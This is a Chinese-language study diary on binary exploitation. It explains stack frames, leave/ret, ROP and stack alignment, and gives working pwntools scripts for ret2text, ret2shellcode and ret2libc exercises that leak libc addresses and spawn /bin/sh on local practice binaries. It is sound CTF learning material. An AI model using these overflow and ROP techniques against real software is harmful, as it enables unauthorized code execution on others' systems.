Pwn学习日记 3
序-加深调用栈理解
时隔五年半,我又捡起来了,现在学起来比较顺畅。
我经常犯一个毛病,把学习笔记搞得像备课,例图,例句事无巨细,但大多是在抄老师或书上的内容。没什么必要,所以这里只记录我的迷惑,还有基本原理、exp之类。不会像前两篇一样抄PPT。
前面的复习中,思考了一些问题,现在补一下回答。
Q:为什么脚本不用recvline那一行,直接写sendline也可以?
A:程序一直在运行,它并不会因为你没“接”它的输出,就不读你的输入。输入输出是两个独立的管道,注意一般题目会关闭缓冲区。
- 缓冲区与异步性 (Buffering)
当你运行一个程序时,
stdout(程序输出)和stdin(你的输入)是两个独立的管道:
- 程序侧:它执行
puts("No system...")后,数据就被丢进了输出缓冲区。它不会停在那里等你去读,而是紧接着执行下一步——gets(s)。- 脚本侧:当你调用
io.sendline(payload)时,pwntools 会把数据写入程序的stdin。即使你没有先用
recvline()把那句“No system…”取走,这句对话也只是暂时停留在操作系统的内核缓冲区里。
gets()的阻塞机制程序的执行流程是这样的:
puts(输出信息)gets(进入阻塞状态,等待输入)程序执行到
gets时会停住,直到它的stdin管道里有了数据(也就是你发送的payload)。它并不在乎你是否已经读了它之前puts出来的东西。Q:为什么我可以远程连接软件后,interactive?这个函数为什么能够想什么时候打开就什么时候打开,而不是反弹shell那样有个公网接收?
A:
- 本质区别:控制流的方向
我们可以对比一下你现在的做法(
interactive())和反弹 Shell 的区别:
interactive():接管现有的连接当你使用
io = remote('ip', port)或io = process('./pwn')时,你和目标程序之间已经建立了一根双向管道。
- 初期:你的 Python 脚本(pwntools)握着这根管子,按照你写的代码(如
sendline)往里灌数据。- 调用
interactive()后:Python 脚本停止自动运行,它把你的键盘(stdin)*和*这根管子的输入接在一起,把这根管子的输出和你的屏幕(stdout)接在一起。- 结论:连接一直都在,只是 Python 脚本从“自动模式”切换到了“手动透传模式”。
反弹 Shell (Reverse Shell):创建新的连接
- 目标程序主动发起一个新的网络连接,去寻找你公网上的监听端口(如
nc -lvp 4444)。- 如果没有这个公网接收端,目标程序的连接请求就会失败。
- 为什么能“随时打开”?
只要连接没断,你可以在脚本的任何地方、任何时间调用
interactive()。
- 同步性:即使你已经利用溢出漏洞执行了
system('/bin/sh'),此时目标机器上确实启动了一个 Shell。这个 Shell 会继承目标程序的输入输出流(也就是那根连向你电脑的管子)。- 等待性:那个新启动的 Shell 正乖乖地坐在管子的另一头,等着从里面读指令。如果你不调用
interactive(),它就一直等;你一调用,你键盘输入的ls就会顺着管子飞过去。
后记: EIP(Instruction Pointer):永远指向当前要执行的下一条指令的地址。它指向的是代码段(.text)里的指令,跟栈(stack)完全无关!
EBP(Base Pointer / Frame Pointer):指向当前函数栈帧的“底部”(其实是 saved EBP 的位置)。 重要纠正:EBP 本身并不存储“上一个函数的返回地址”! EBP 存储的是上一个函数的 EBP 值(即上一个栈帧的 base pointer)。 返回地址是单独存在栈上的,位置是 [EBP + 4](上一格)。
pop是赋值操作,把栈顶的值赋给参数那个寄存器,然后esp+4
pop 掉最后一个局部变量时,ESP 和 EBP 都指向 saved EBP。此时操作是: pop ebp:把 [ESP](也就是 saved EBP 的值)赋值给 ebp → ebp 恢复成上一个函数的 EBP,同时 ESP += 4,现在 ESP 指向返回地址
ret : pop eip → EIP = 返回地址,ESP += 4,此时ebp、esp就完全回到了上一个函数的调用栈,并且eip指向返回地址。开始执行eip了。这就是leave ret操作。
ret2syscall实际上是用有效数据填充栈,构造一个栈,每个gadget都是一次调用函数,栈溢出的返回地址是我第一个gadget,第一个gadget执行完,eip指向下一个指令,就是栈的第二个gadget的地址,然后循环。
gets在获取值时,开辟好空间。比如输入ABC,那么栈里,是从esp到ebp(低地址到高地址),顺序是ABC,A在栈顶位置。pop顺序也是ABC,所以gets输入的payload gadget是正序。
栈只有一个,存了值和地址,每次pop或者ret。都会移动,而ret实际上是pop eip,就会把返回地址给eip,所以与其说是ret跳到下一个gadget,不如说是esp传值给eip,把控制流拽回来。
ret2libc2
这题没有/bin/sh了,有个system函数,有gets。但是gets读取数据到s里面,由于ASLR一定打开,所以无法确定s的地址。这题与上题区别就在于没有bin/sh,但是bss段地址是确定的。恰好bss段有一个buf2。
我自己做出来了,原理是后面才明白。这里payload是【垃圾数据 + gets@plt + system@plt + buf2 + buf2】
我一直不知道gets怎么向buf2传参,不是要写一个值到某个空间吗,那这不是算俩参数吗。但我写完这个payload居然有shell,但是只能执行一次命令。运行一次看目录,第二次cat flag就行,后来试了一下输入/bin/sh就可以一直有。
后面看老师讲解才知道,gets的参数就是空间位置。要从标准输入读取数据。在读取时会阻塞一下,等待用户输入。
我只输入ls,当然一次就没了。
这里可以自动传输bin/sh过去
exp:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import *
io = process('./ret2libc2')
elf = ELF('./ret2libc2')
gets = elf.plt['gets']
sys_addr = elf.plt['system']
buf2 = elf.symbols['buf2']
payload = b'K'*112 + p32(gets) + p32(sys_addr) +p32(buf2) + p32(buf2)
io.sendline(payload)
io.sendline('/bin/sh')
io.interactive()
栈平衡的理解
注意,父函数在调用子函数时,先压入参数,再压入返回地址。然后才是子函数的栈帧,所以子函数的参数在上两个字长的地方。
那就会出现一种情况,F1代表函数,F1x代表F1的参数。长调用链如:【垃圾字符 + F1 + F2 + F1x + F2x】。
最多只能两个带参的函数。F1向上找到自己的参数,返回地址被我改写为F2,所以调用F2,F2也找到自己的参数,但是此时F2的返回地址是F1的参数,无法继续跳转了。
所以出现了栈平衡。
这里有第二个栈平衡的解法:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import *
io = process('./ret2libc2')
elf = ELF('./ret2libc2')
gets = elf.plt['gets']
sys_addr = elf.plt['system']
buf2 = elf.symbols['buf2']
pop_ebx_ret = 0x0804843d
payload = b'K'*112 + p32(gets) + p32(pop_ebx_ret) +p32(buf2) + p32(sys_addr) + p32(pop_ebx_ret) + p32(buf2)
io.sendline(payload)
io.sendline('/bin/sh')
io.interactive()
所谓“栈平衡”,就是利用 pop; ret 这种 gadget,让 ESP 每次 ret 后都能精准落在下一个函数上。
这里以上面payload为例,梳理栈溢出流程 和栈平衡原理。
上为高地址
栈发生溢出时候,垃圾数据覆盖buffer+4字节的ebp。写gets地址到ebp上面的返回地址。程序自己的栈帧ret前有一个leave操作,就是mov esp ebp;pop ebp;这个操作让esp跟ebp都指向了ebp地址(里面存的是垃圾数据),标准叫法是 “恢复栈帧基址” 或 “清理局部变量空间”。然后pop操作是把此时esp的值给ebp,esp里的值是4字节垃圾字符,所以ebp被赋予了4字节垃圾。由于pop操作,esp+4。此时esp指向gets地址。栈帧开始ret,ret就是pop eip(此时esp + 4,到了pop_ebx_ret)。此时eip指向gets地址,gets开始运行。gets运行完开始ret,eip指向pop_ebx_ret,esp+4指向buf2。pop_ebx_ret运行时把esp指向的buf2 pop掉了,所以esp + 4指向system,pop_ebx_ret开始ret,eip指向system,esp + 4指向第二个pop_ebx_ret。这个时候已经拿到shell了。
可以看到,在需要参数的函数返回地址上插入pop e*x; ret,可以让此函数的参数被移出,esp + 4移动到下一个函数上。
ret2libc3
这次通过输入puts的虚拟内存地址,打印它的真实地址,然后通过偏移确定system的真实地址。
没想到我直接成功打印出了puts地址。
随后通过偏移计算出system地址。现在需要一个/bin/sh,但没有这个,/bin/sh是通过绝对地址获取shell,sh是通过环境变量获取。有个fflush函数,可以截取fflush后两个字母传入。
明天写exp
这题要注意,给的libc是远程环境的,但是远程没开,只能本地打,本地程序用的是本机的,所以不要用给的libc,用本机的:/usr/lib/i386-linux-gnu/libc.so.6
这里用*until类函数,做到了io同步,并且使用cyclic生成字节,deadbeef写返回地址。其他没什么
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from pwn import *
io = process('./ret2libc3')
elf = ELF('./ret2libc3')
libc = ELF('/usr/lib/i386-linux-gnu/libc.so.6')
io.sendlineafter(b' :',str(elf.got['puts']))
io.recvuntil(b'0x',drop = False)
libc_base = int(io.recvuntil(b'\n',drop = True),16) - libc.symbols['puts']
system = libc.symbols['system'] + libc_base
payload = flat(cyclic(60) , system , 0xdeadbeef , next(elf.search(b'sh\x00')))
io.sendlineafter(b' :',payload)
io.interactive()
习题课
pwn0(ret2text)
限时十分钟
1
2
3
4
5
6
7
8
❯ checksec level0
[*] '/home/pwn/Desktop/pwn_learning/Exercises/pwn0/level0'
Arch: amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Stripped: No
64位调用system时要栈对齐,注意不是栈平衡,要在跳转位置加一个ret的gadget,然后再补system地址。
1
2
3
4
5
6
7
8
9
10
from pwn import *
io = process('./level0')
io.recvline()
payload = b'K'*136 + p64(0x400431)+p64(0x400596)
io.send(payload)
io.interactive()
pwn1(ret2shellcode)
1
2
3
4
5
6
7
8
9
10
11
❯ checksec level1
[*] '/home/pwn/Desktop/pwn_learning/Exercises/pwn1/level1'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX unknown - GNU_STACK missing
PIE: No PIE (0x8048000)
Stack: Executable
RWX: Has RWX segments
Stripped: No
犯了错误,recvuntil第一个参数要字节,要加b
1
2
3
4
5
6
7
8
9
10
from pwn import *
io = process('./level1')
elf = ELF('./level1')
shellcode = asm(shellcraft.sh())
io.recvuntil(b'0x')
buf = io.recvuntil(b'?',drop = True)
payload = shellcode.ljust(140,b'K') + p32(int(buf,16))
io.sendline(payload)
io.interactive()
pwn2(ret2libc)
这题gdb一直崩,说是程序又起了子进程导致的。弹幕说:
用set follow-fork-mode parent,就是gdb level2进入调试后,输入set follow-fork-mode parent持续调试父进程。
1
2
3
4
5
6
7
8
9
❯ checksec level2
[*] '/home/pwn/Desktop/pwn_learning/Exercises/pwn2/level2'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
Stripped: No
这里虽说是libc,但是我没怎么用plt表项。
1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *
io = process('./level2')
elf = ELF('./level2')
system = elf.symbols['system']
bin_sh = next(elf.search(b'/bin/sh'))
payload = cyclic(0x88+0x4) + p32(system) + p32(0xdeadbeef) + p32(bin_sh)
io.recvuntil(b'Input:')
io.sendline(payload)
io.interactive()
pwn2_x64
1
2
3
4
5
6
7
8
9
❯ checksec level2_x64
[*] '/home/pwn/Desktop/pwn_learning/Exercises/pwn2_x64/level2_x64'
Arch: amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Stripped: No
学了64位的区别,64为前6个函数参数放到rdi rsi rdx rcx r8 r9 这六个存器,多余参数才压入栈内。所以在返回地址之后必须pop rdi; ret,紧接着写/bin/sh,后面再写system地址就行。
这里还有一个问题,elf.plt获取到的地址不能用,地址也是IDA里显示的plt表项。有弹幕说是第一次调用就没调用对,所以不对。可是第一次调用没道理错误。
这里硬编码写IDA里面,main函数汇编代码里,call system的那个地址。
1
2
3
4
5
6
7
8
9
10
11
from pwn import *
io = process('./level2_x64')
io.recvline()
elf = ELF('./level2_x64')
system =0x40063E
bin_sh = next(elf.search(b'/bin/sh'))
poprdi=0x00000000004006b3
payload = cyclic(136) + p64(poprdi)+p64(bin_sh)+p64(system)
io.sendline(payload)
io.interactive()
pwn3
1
2
3
4
5
6
7
8
9
❯ checksec level3
[*] '/home/pwn/Desktop/pwn_learning/Exercises/pwn3/level3'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
Stripped: No
这题是到现在最难的,主要是需要自己泄露地址,发送两次payload。这里犯了一个错误,我在调用write的时候用了elf.symbols,应该用elf.plt的。因为只有明确程序定义的函数比如int main,vulnerable_function才是内部函数,可以用symbols,而动态链接的题目,write、system等都是libc的,ida 显示为extern,应该用plt去拿地址。
这题还有一点是,第一个payload去拿write的真实地址,算出偏移,再用偏移计算system地址和binsh地址。但是只有这一个输入口,所以返回地址填写领再说
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from pwn import *
io = process('./level3')
elf = ELF('./level3')
libc = ELF('/lib/i386-linux-gnu/libc.so.6')
io.recv()
payload = cyclic(140) + p32(elf.plt['write']) + p32(elf.symbols['vulnerable_function']) + p32(1) + p32(elf.got['write']) + p32(4)
io.sendline(payload)
true_write = u32(io.recv(4)) # 我调试时,发现返回b'p\x82\xba\xeeInput:\n',这个p也是地址之一。
libc_base = true_write - libc.symbols['write']
true_system = libc_base + libc.symbols['system']
true_binsh = libc_base + next(libc.search(b'/bin/sh'))
payload = cyclic(140) + p32(true_system) + p32(0xdeadbeef) + p32(true_binsh)
io.sendline(payload)
io.interactive()
smashes
1
2
3
4
5
6
7
8
9
❯ checksec smashes
[*] '/home/pwn/Desktop/pwn_learning/Exercises/smashes/smashes'
Arch: amd64-64-little
RELRO: No RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
FORTIFY: Enabled
main函数没有加粗,这个main说是自己实现的。进入这个main
有canary保护,正常的栈溢出不行了,canary是在push ebp后压入一个值,如果溢出覆盖到返回地址,就会改写这个值,就触发__stack_chk_fail函数,退出程序。
我猜测,绕过这个需要先获取canary的值,然后溢出到它之前,塞入canary的值,继续溢出到返回地址。
插入这段canary的语句是:v4 = __readfsqword(0x28u);
老师后面遇到点问题,搁置
pwn3_x64
听完老师讲的逻辑后,直接写成功了,好开心,运行前改好逻辑,还要把32位的各类函数为64位。
改p32为p64、本地libc改成x86_64的,期间运行发现u32参数不是4字节,才想起要用u64。
1
2
3
4
5
6
7
8
9
❯ checksec level3_x64
[*] '/home/pwn/Desktop/pwn_learning/Exercises/pwn3_x64/level3_x64'
Arch: amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Stripped: No
我的exp:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from pwn import *
io = process('./level3_x64')
elf = ELF('./level3_x64')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
pop_rdi_ret = 0x4006b3
pop_rsi_r15_ret = 0x4006b1
io.recv()
payload = cyclic(0x80+0x8) + p64(pop_rdi_ret) + p64(1) + p64(pop_rsi_r15_ret) + p64(elf.got['write']) + p64(0xc0cac01a) + p64(elf.plt['write']) + p64(elf.symbols['vulnerable_function'])
io.sendline(payload)
true_write = u64(io.recv(8))
libc_base = true_write - libc.symbols['write']
true_system = libc_base + libc.symbols['system']
true_binsh = libc_base + next(libc.search(b'/bin/sh'))
payload = cyclic(0x80+0x8) + p64(pop_rdi_ret) + p64(true_binsh) + p64(true_system)
io.sendline(payload)
io.interactive()
有没有发现,我把0xdeadbeef这个魔数换成了0xc0cac01a(可口可乐),哈哈